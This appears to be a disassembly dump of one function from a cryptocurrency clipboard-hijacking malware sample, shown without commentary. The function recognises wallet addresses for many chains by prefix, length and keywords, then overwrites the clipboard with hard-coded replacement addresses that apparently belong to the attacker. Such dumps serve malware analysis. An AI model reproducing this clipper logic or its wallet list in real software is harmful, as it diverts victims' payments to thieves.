Function at 0x403480
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
je 0x40362f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
je 0x40362f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x58
je 0x40362f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x44
je 0x40362f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x30
je 0x40362f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
je 0x40362f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
je 0x40362f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6c
je 0x40362f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x54
je 0x40362f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x74
je 0x40362f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x68
je 0x40362f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x51
je 0x40362f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x52
je 0x40362f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x4e
je 0x40362f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x41
je 0x40362f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x53
je 0x40362f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x7a
je 0x40362f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x73
je 0x40362f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x71
je 0x40362f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x63
je 0x40362f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x34
je 0x40362f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x38
je 0x40362f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x61
je 0x40362f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x46
je 0x40362f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x47
je 0x40362f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x62
je 0x40362f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x55
je 0x40362f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
je 0x40362f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x42
je 0x40362f
xor al, al
jmp 0x403bae
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x34
jne 0x403652
cmp dword [ebp - 4], 0x5f
jb 0x403646
cmp dword [ebp - 4], 0x6a
jbe 0x40364d
xor al, al
jmp 0x403bae
jmp 0x403756
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x38
jne 0x403675
cmp dword [ebp - 4], 0x5f
jb 0x403669
cmp dword [ebp - 4], 0x6a
jbe 0x403670
xor al, al
jmp 0x403bae
jmp 0x403756
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x72
jne 0x403698
cmp dword [ebp - 4], 0x19
jb 0x40368c
cmp dword [ebp - 4], 0x23
jbe 0x403693
xor al, al
jmp 0x403bae
jmp 0x403756
push 0x410870
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4036c3
cmp dword [ebp - 4], 0x32
jb 0x4036b7
cmp dword [ebp - 4], 0x38
jbe 0x4036be
xor al, al
jmp 0x403bae
jmp 0x403756
push 0x41088c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4036eb
cmp dword [ebp - 4], 0x2a
jb 0x4036e2
cmp dword [ebp - 4], 0x30
jbe 0x4036e9
xor al, al
jmp 0x403bae
jmp 0x403756
push 0x41089c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403713
cmp dword [ebp - 4], 0x62
jb 0x40370a
cmp dword [ebp - 4], 0x69
jbe 0x403711
xor al, al
jmp 0x403bae
jmp 0x403756
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x55
je 0x403734
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
je 0x403734
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x42
jne 0x403743
cmp dword [ebp - 4], 9
je 0x403741
xor al, al
jmp 0x403bae
jmp 0x403756
cmp dword [ebp - 4], 0x15
jb 0x40374f
cmp dword [ebp - 4], 0x38
jbe 0x403756
xor al, al
jmp 0x403bae
push str.bitcoincash:
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x403800
mov dword [ebp - 0x18], 0
jmp 0x40377f
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 4]
jae 0x403800
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x31
jne 0x4037c6
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x4f
je 0x4037bf
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x49
je 0x4037bf
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x6c
jne 0x4037c6
xor al, al
jmp 0x403bae
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
push eax
call sub.ntdll.dll_isalpha
add esp, 4
test eax, eax
jne 0x4037fb
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
push eax
call sub.ntdll.dll_isdigit
add esp, 4
test eax, eax
jne 0x4037fb
xor al, al
jmp 0x403bae
jmp 0x403776
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
jne 0x403821
cmp dword [ebp - 4], 0x30
jne 0x40381a
mov dword [ebp - 8], str.12SJv5p8xUHeiKnXPCDaKCMpqvXj7TABT5BSxGt3csz9Beuc
jmp 0x403821
mov dword [ebp - 8], str.1A6utf8R2zfLL7X31T5QRHdQyAx16BjdFD
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
jne 0x403848
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x50
jne 0x403841
mov dword [ebp - 8], str.3PFzu8Rw8aDNhDT6d5FMrZ3ckE4dEHzogfg
jmp 0x403848
mov dword [ebp - 8], str.3BJS4zYwrnfcJMm4xLxRcsa69ght8n6QWz
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x6c
jne 0x40385a
mov dword [ebp - 8], str.lskbjrchofkmqtugfw28ot7jzv96u75xzyb5bvoop
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x71
jne 0x40386c
mov dword [ebp - 8], str.qpzj59cm0dcyxy9597x927fx0wzu75nns5lsm2452k
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x58
jne 0x40387e
mov dword [ebp - 8], str.XgWbWpuyPGney7hcS9vZ7eNhkj7WcvGcj8
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x44
jne 0x403890
mov dword [ebp - 8], str.DPcSSyFAYLu4aEB4s1Yotb8ANwtx6bZEQG
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x30
jne 0x4038a2
mov dword [ebp - 8], str.0xb899fC445a1b61Cdd62266795193203aa72351fE
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
jne 0x4038b4
mov dword [ebp - 8], str.LRDpmP5wHZ82LZimzWDLHVqJPDSpkM1gZ7
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
jne 0x4038c6
mov dword [ebp - 8], str.r1eZ7W1fmUT9tiUZwK6rr3g6RNiE4QpU1
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x54
jne 0x4038d8
mov dword [ebp - 8], str.TBdEh7r35ywUD5omutc2kDTX7rXhnFkxy5
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x74
jne 0x403944
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x31
je 0x4038fb
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x32
jne 0x403904
mov dword [ebp - 8], str.t1T7mBRBgTYPEL9RPPBnAVgcftiWUPBFWyy
jmp 0x403944
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x65
jne 0x40393d
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x72
jne 0x40393d
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 6]
cmp ecx, 0x72
jne 0x40393d
mov edx, dword [ebp + 8]
movzx eax, word [edx + 8]
cmp eax, 0x61
jne 0x40393d
mov dword [ebp - 8], str.terra1smy8jurjwm790qrt5z3qrsyrx9a3lcwehvzmw3
jmp 0x403944
mov dword [ebp - 8], str.tz1fpBZAB1jz7RsefBjT94VR3h5VzL4akg6L
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x68
jne 0x403956
mov dword [ebp - 8], str.hxc65003fbd738014cf286edf92f9ddac689ec4de5
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x51
jne 0x403968
mov dword [ebp - 8], str.QYHny85SWYTLcZFFNNoVovyN15eNbwZdW6
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x52
jne 0x40397a
mov dword [ebp - 8], str.RRQ9QGcqnHEqJAbcEjs9X3EYsEfXrZPvEi
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4e
jne 0x40398c
mov dword [ebp - 8], str.NC7YTU5BSOVDYRUPWA3KUXP437AEZ7JNE2H3EYGI
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x41
jne 0x40399e
mov dword [ebp - 8], str.AGUqhQzF52Qwbvun5wQSrpokPtCC4b9yiX
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x53
jne 0x4039b0
mov dword [ebp - 8], str.SNCjaBTsinQUDTjBvBoDLVm2AnN2qXeMCs
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x7a
jne 0x4039c2
mov dword [ebp - 8], str.zil14rxudm29xzmu9cyk0mcwvrlxm086evuawjy2ev
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x73
jne 0x4039d4
mov dword [ebp - 8], str.s1dSgik6QuCDrRnw9yvtrLCvRLDemi2juJe
push str.bitcoincash
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4039ee
mov dword [ebp - 8], str.bitcoincash:qpzj59cm0dcyxy9597x927fx0wzu75nns5lsm2452k
push str.cosmos
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a08
mov dword [ebp - 8], str.cosmos156h8kejuwm3n7ywpwajplfzahgum8lenvkezny
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x34
jne 0x403a1a
mov dword [ebp - 8], str.43ABGVDKXksdy7UTP8aHqkRf4xAVDmKKXBYDRevAadwaLJhHzH4ubZHGLjVpLc5ZWk7TVmHbHHAWUBF78mx1YG4eNbww6fr
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x38
jne 0x403a2c
mov dword [ebp - 8], str.8BxS6BtEznQUg2ThyjoKsgNzBLQiW43wJ7FMedwb8P29YKiPvrD6PWrSMcAaRjMnXkhnYjgj8dX9hcL2DRejE4vR6oLP2ou
push str.addr
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a46
mov dword [ebp - 8], str.addr1q8ujsfumgrpjvp2v6s3cfndz7yqf7cgpnjfpdlqxfphwfa0e9qneksxrycz5e4prsnx69ugqnassr8yjzm7qvjrwun6s6dfsrt
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x61
jne 0x403a64
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x64
je 0x403a64
mov dword [ebp - 8], str.aPSfmf1H5DNksgcUMV39NPJcSj832L2okm
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x46
jne 0x403a76
mov dword [ebp - 8], str.FeGdLZrnbVLsmiY9tZ4ssoRjdLDxiigQBL
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x47
jne 0x403a97
cmp dword [ebp - 4], 0x38
jne 0x403a90
mov dword [ebp - 8], str.GCVFMTUKNLFBGHE3AHRJH4IJDRZGWOJ6JD2FQTFQAAIQR64ALD7QJHUY
jmp 0x403a97
mov dword [ebp - 8], str.GSdrN7W3GsqsxqaXg4x9k5C8cf1uJeoFFg
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x62
jne 0x403af0
push 0x410ec0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403abc
mov dword [ebp - 8], str.bnb1rcg9mnkzna2tw4u8ughyaj6ja8feyj87hss9ky
push str.band
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403ad6
mov dword [ebp - 8], str.band1f2nuxcxahrph4n4gpy4lndsp5q342fz0yjh945
push 0x410f2c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403af0
mov dword [ebp - 8], str.bc1qzs2hs5dvyx04h0erq4ea72sctcre2rcwadsq2v
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x55
jne 0x403b02
mov dword [ebp - 8], str.U33390790
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x45
jne 0x403b14
mov dword [ebp - 8], str.E36963824
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
jne 0x403b26
mov dword [ebp - 8], str.B36461211
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x403bac
mov edx, dword [ebp - 0xc]
add edx, 1
push edx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x403bac
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x403bac
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x403bac
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, dword [ebp - 0x14]
push edx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret